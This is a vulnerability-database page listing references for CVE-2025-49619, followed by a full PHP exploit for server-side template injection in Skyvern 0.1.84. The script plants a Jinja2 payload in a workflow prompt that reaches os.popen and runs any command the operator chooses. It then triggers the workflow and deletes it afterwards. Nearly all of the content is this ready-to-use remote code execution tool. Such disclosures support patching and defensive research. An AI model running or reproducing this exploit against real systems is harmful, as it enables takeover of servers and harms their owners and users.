| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for CVE-2025-49619 | 9 Jun 202510:09 | – | githubexploit | |
| CVE-2025-49619 | 7 Jun 202514:30 | – | circl | |
| Ikonomos Skyvern 安全漏洞 | 7 Jun 202500:00 | – | cnnvd | |
| CVE-2025-49619 | 7 Jun 202500:00 | – | cve | |
| CVE-2025-49619 | 7 Jun 202500:00 | – | cvelist | |
| Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI | 15 Jun 202500:00 | – | exploitdb | |
| Skyvern has a Jinja runtime leak | 7 Jun 202515:30 | – | github | |
| Skyvern SSTI Remote Code Execution | 29 Jun 202518:53 | – | metasploit | |
| CVE-2025-49619 | 7 Jun 202514:15 | – | nvd | |
| CVE-2025-49619 | 7 Jun 202514:15 | – | osv |
=============================================================================================================================================
| # Title : Skyvern 0.1.84 Code Execution Vulnerability Analysis |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.skyvern.com/ |
=============================================================================================================================================
[+] Summary :
The vulnerability exists in the workflow creation functionality where user-supplied input
in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands..
[+] POC :
php poc.php
<?php
class SkyvernSSTI_RCE {
private $target;
private $api_key;
private $workflow_id;
public function __construct($target, $api_key) {
$this->target = rtrim($target, '/');
$this->api_key = $api_key;
$this->workflow_id = null;
}
private function send_request($method, $endpoint, $data = null) {
$url = $this->target . $endpoint;
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => [
'X-API-Key: ' . $this->api_key,
'Content-Type: application/json'
],
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
throw new Exception("Request failed: " . $error);
}
return [
'code' => $http_code,
'body' => $response
];
}
private function create_workflow_json($payload) {
return [
'title' => $this->random_string(8),
'description' => '',
'proxy_location' => 'RESIDENTIAL',
'webhook_callback_url' => '',
'persist_browser_session' => false,
'model' => null,
'totp_verification_url' => null,
'workflow_definition' => [
'parameters' => [],
'blocks' => [
[
'label' => 'block_1',
'continue_on_failure' => false,
'block_type' => 'task_v2',
'prompt' => $this->generate_payload($payload),
'url' => '',
'max_steps' => 25,
'totp_identifier' => null,
'totp_verification_url' => null
]
]
],
'is_saved_task' => false
];
}
private function generate_payload($command) {
return
"{% for x in ().__class__.__base__.__subclasses__() %}\n" .
" {% if 'warning' in x.__name__ %}\n" .
" {{ x()._module.__builtins__['__import__']('os').popen(\"" .
addslashes($command) . "\").read() }}\n" .
" {% endif %}\n" .
"{% endfor %}";
}
private function random_string($length = 8) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $characters[rand(0, strlen($characters) - 1)];
}
return $result;
}
public function check() {
try {
$response = $this->send_request('GET', '/api/v1/workflows');
if ($response['code'] !== 200) {
return "Target is probably not Skyvern or API key is invalid";
}
$json_response = json_decode($response['body'], true);
if ($json_response === null) {
return "Failed to parse response - target may not be Skyvern";
}
return "Target appears to be Skyvern and is accessible";
} catch (Exception $e) {
return "Check failed: " . $e->getMessage();
}
}
public function create_workflow($payload) {
try {
$workflow_data = $this->create_workflow_json($payload);
$response = $this->send_request('POST', '/api/v1/workflows', $workflow_data);
if ($response['code'] !== 200) {
throw new Exception("Failed to create workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_permanent_id'])) {
throw new Exception("Workflow ID not found in response");
}
$this->workflow_id = $json_response['workflow_permanent_id'];
echo "[+] Workflow created successfully. ID: " . $this->workflow_id . "\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to create workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function trigger_workflow() {
if (!$this->workflow_id) {
echo "[-] No workflow ID available\n";
return false;
}
try {
$data = ['workflow_id' => $this->workflow_id];
$response = $this->send_request('POST', "/api/v1/workflows/{$this->workflow_id}/run", $data);
if ($response['code'] !== 200) {
throw new Exception("Failed to trigger workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_id']) && !isset($json_response['workflow_run_id'])) {
throw new Exception("Workflow execution response invalid");
}
echo "[+] Workflow triggered successfully\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to trigger workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function cleanup() {
if (!$this->workflow_id) {
return;
}
try {
$this->send_request('DELETE', "/api/v1/workflows/{$this->workflow_id}");
echo "[+] Workflow cleaned up\n";
} catch (Exception $e) {
echo "[-] Failed to cleanup workflow: " . $e->getMessage() . "\n";
}
}
public function exploit($command) {
echo "[*] Starting exploitation...\n";
echo "[*] Checking target...\n";
$check_result = $this->check();
echo "[*] Check result: " . $check_result . "\n";
echo "[*] Creating malicious workflow...\n";
if (!$this->create_workflow($command)) {
return false;
}
echo "[*] Triggering workflow execution...\n";
if (!$this->trigger_workflow()) {
return false;
}
echo "[+] Exploitation completed. Command should be executed.\n";
return true;
}
}
if (php_sapi_name() === 'cli') {
if ($argc < 4) {
echo "Usage: php " . $argv[0] . " <target_url> <api_key> <command>\n";
echo "Example: php " . $argv[0] . " http://localhost:8000 abc123 \"id\"\n";
exit(1);
}
$target = $argv[1];
$api_key = $argv[2];
$command = $argv[3];
$exploit = new SkyvernSSTI_RCE($target, $api_key);
try {
$exploit->exploit($command);
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
} finally {
$exploit->cleanup();
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation